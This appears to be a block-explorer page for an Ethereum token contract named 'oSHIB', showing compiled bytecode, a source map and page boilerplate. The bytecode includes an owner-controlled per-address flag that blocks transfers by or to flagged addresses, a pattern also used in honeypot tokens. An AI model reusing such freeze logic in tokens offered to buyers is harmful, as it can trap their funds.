2602001908152602001600020549050919050565b6040518060400160405280600581526020017f6f5348494200000000000000000000000000000000000000000000000000000081525081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111525750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111a957600082146111a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122e57600080fd5b61127f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611312826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165d90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165257fe5b818303905092915050565b600081830190508281101561166e57fe5b8090509291505056fea265627a7a723058203658a43f905742245ae31a14a536b36e77d73db9f4fa1a298df6df5220cf6f5564736f6c634300050a0032

Deployed Bytecode Sourcemap

5147:480:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5147:480:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5192:44;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5192:44:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3811:192;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3811:192:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1685:108;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4256:130;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4256:130:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;3076:562;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3076:562:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5324:82;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5285:34;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4009:241;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4009:241:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;4390:440;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4390:440:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1799:127;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1799:127:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5241:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5241:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1932:432;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1932:432:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4838:302;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4838:302:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;3644:161;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3644:161:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5192:44;;;;;;;;;;;;;;;;;;;:::o;3811:192::-;3878:4;3923:6;3891:7;:19;3899:10;3891:19;;;;;;;;;;;;;;;:29;3911:8;3891:29;;;;;;;;;;;;;;;:38;;;;3962:8;3941:38;;3950:10;3941:38;;;3972:6;3941:38;;;;;;;;;;;;;;;;;;3993:4;3986:11;;3811:192;;;;:::o;1685:108::-;1749:7;1775:12;;1768:19;;1685:108;:::o;4256:130::-;4337:4;4361:9;:19;4371:8;4361:19;;;;;;;;;;;;;;;;;;;;;;;;;4354:26;;4256:130;;;:::o;3076:562::-;3188:4;3207:9;:16;3217:5;3207:16;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;;3227:9;:14;3237:3;3227:14;;;;;;;;;;;;;;;;;;;;;;;;;3207:34;3204:70;;;3268:1;3258:6;:11;3249:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3204:70;3304:1;3289:17;;:3;:17;;;;3281:26;;;;;;3332:8;:15;3341:5;3332:15;;;;;;;;;;;;;;;;3322:6;:25;;3314:34;;;;;;3373:7;:14;3381:5;3373:14;;;;;;;;;;;;;;;:26;3388:10;3373:26;;;;;;;;;;;;;;;;3363:6;:36;;3355:45;;;;;;3425:27;3445:6;3425:8;:15;3434:5;3425:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;3407:8;:15;3416:5;3407:15;;;;;;;;;;;;;;;:45;;;;3475:25;3493:6;3475:8;:13;3484:3;3475:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;3459:8;:13;3468:3;3459:13;;;;;;;;;;;;;;;:41;;;;3536:38;3567:6;3536:7;:14;3544:5;3536:14;;;;;;;;;;;;;;;:26;3551:10;3536:26;;;;;;;;;;;;;;;;:30;;:38;;;;:::i;:::-;3507:7;:14;3515:5;3507:14;;;;;;;;;;;;;;;:26;3522:10;3507:26;;;;;;;;;;;;;;;:67;;;;3602:3;3586:28;;3595:5;3586:28;;;3607:6;3586:28;;;;;;;;;;;;;;;;;;3628:4;3621:11;;3076:562;;;;;:::o;5324:82::-;5318:1;5388:17;;5382:2;:23;5365:13;:41;5324:82;:::o;5285:34::-;5318:1;5285:34;:::o;4009:241::-;4103:8;;;;;;;;;;;4089:22;;:10;:22;;;4081:31;;;;;;4146:4;4123:27;;:9;:19;4133:8;4123:19;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;4119:126;;;4183:5;4161:9;:19;4171:8;4161:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;4119:126;;;4233:4;4211:9;:19;4221:8;4211:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;4119:126;4009:241;:::o;4390:440::-;4498:4;4514:13;4530:7;:19;4538:10;4530:19;;;;;;;;;;;;;;;:29;4550:8;4530:29;;;;;;;;;;;;;;;;4514:45;;4589:8;4570:16;:27;4566:168;;;4640:1;4608:7;:19;4616:10;4608:19;;;;;;;;;;;;;;;:29;4628:8;4608:29;;;;;;;;;;;;;;;:33;;;;4566:168;;;4696:30;4709:16;4696:8;:12;;:30;;;;:::i;:::-;4664:7;:19;4672:10;4664:19;;;;;;;;;;;;;;;:29;4684:8;4664:29;;;;;;;;;;;;;;;:62;;;;4566:168;4766:8;4745:61;;4754:10;4745:61;;;4776:7;:19;4784:10;4776:19;;;;;;;;;;;;;;;:29;4796:8;4776:29;;;;;;;;;;;;;;;;4745:61;;;;;;;;;;;;;;;;;;4820:4;4813:11;;;4390:440;;;;:::o;1799:127::-;1881:7;1904:8;:16;1913:6;1904:16;;;;;;;;;;;;;;;;1897:23;;1799:127;;;:::o;5241:39::-;;;;;;;;;;;;;;;;;;;:::o;1932:432::-;2015:4;2034:9;:21;2044:10;2034:21;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;2059:9;:14;2069:3;2059:14;;;;;;;;;;;;;;;;;;;;;;;;;2034:39;2031:75;;;2100:1;2090:6;:11;2081:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:75;2136:1;2121:17;;:3;:17;;;;2113:26;;;;;;2164:8;:20;2173:10;2164:20;;;;;;;;;;;;;;;;2154:6;:30;;2146:39;;;;;;2215:32;2240:6;2215:8;:20;2224:10;2215:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;2192:8;:20;2201:10;2192:20;;;;;;;;;;;;;;;:55;;;;2270:25;2288:6;2270:8;:13;2279:3;2270:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;2254:8;:13;2263:3;2254:13;;;;;;;;;;;;;;;:41;;;;2328:3;2307:33;;2316:10;2307:33;;;2333:6;2307:33;;;;;;;;;;;;;;;;;;2354:4;2347:11;;1932:432;;;;:::o;4838:302::-;4941:4;4996:46;5030:11;4996:7;:19;5004:10;4996:19;;;;;;;;;;;;;;;:29;5016:8;4996:29;;;;;;;;;;;;;;;;:33;;:46;;;;:::i;:::-;4957:7;:19;4965:10;4957:19;;;;;;;;;;;;;;;:29;4977:8;4957:29;;;;;;;;;;;;;;;:86;;;;5076:8;5055:61;;5064:10;5055:61;;;5086:7;:19;5094:10;5086:19;;;;;;;;;;;;;;;:29;5106:8;5086:29;;;;;;;;;;;;;;;;5055:61;;;;;;;;;;;;;;;;;;5130:4;5123:11;;4838:302;;;;:::o;3644:161::-;3748:7;3774;:15;3782:6;3774:15;;;;;;;;;;;;;;;:25;3790:8;3774:25;;;;;;;;;;;;;;;;3767:32;;3644:161;;;;:::o;648:147::-;737:7;768:1;763;:6;;756:14;;;;788:1;784;:5;777:12;;648:147;;;;:::o;801:155::-;884:9;913:1;909;:5;905:9;;933:1;928;:6;;921:14;;;;949:1;942:8;;801:155;;;;:::o

Swarm Source

bzzr://3658a43f905742245ae31a14a536b36e77d73db9f4fa1a298df6df5220cf6f55

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.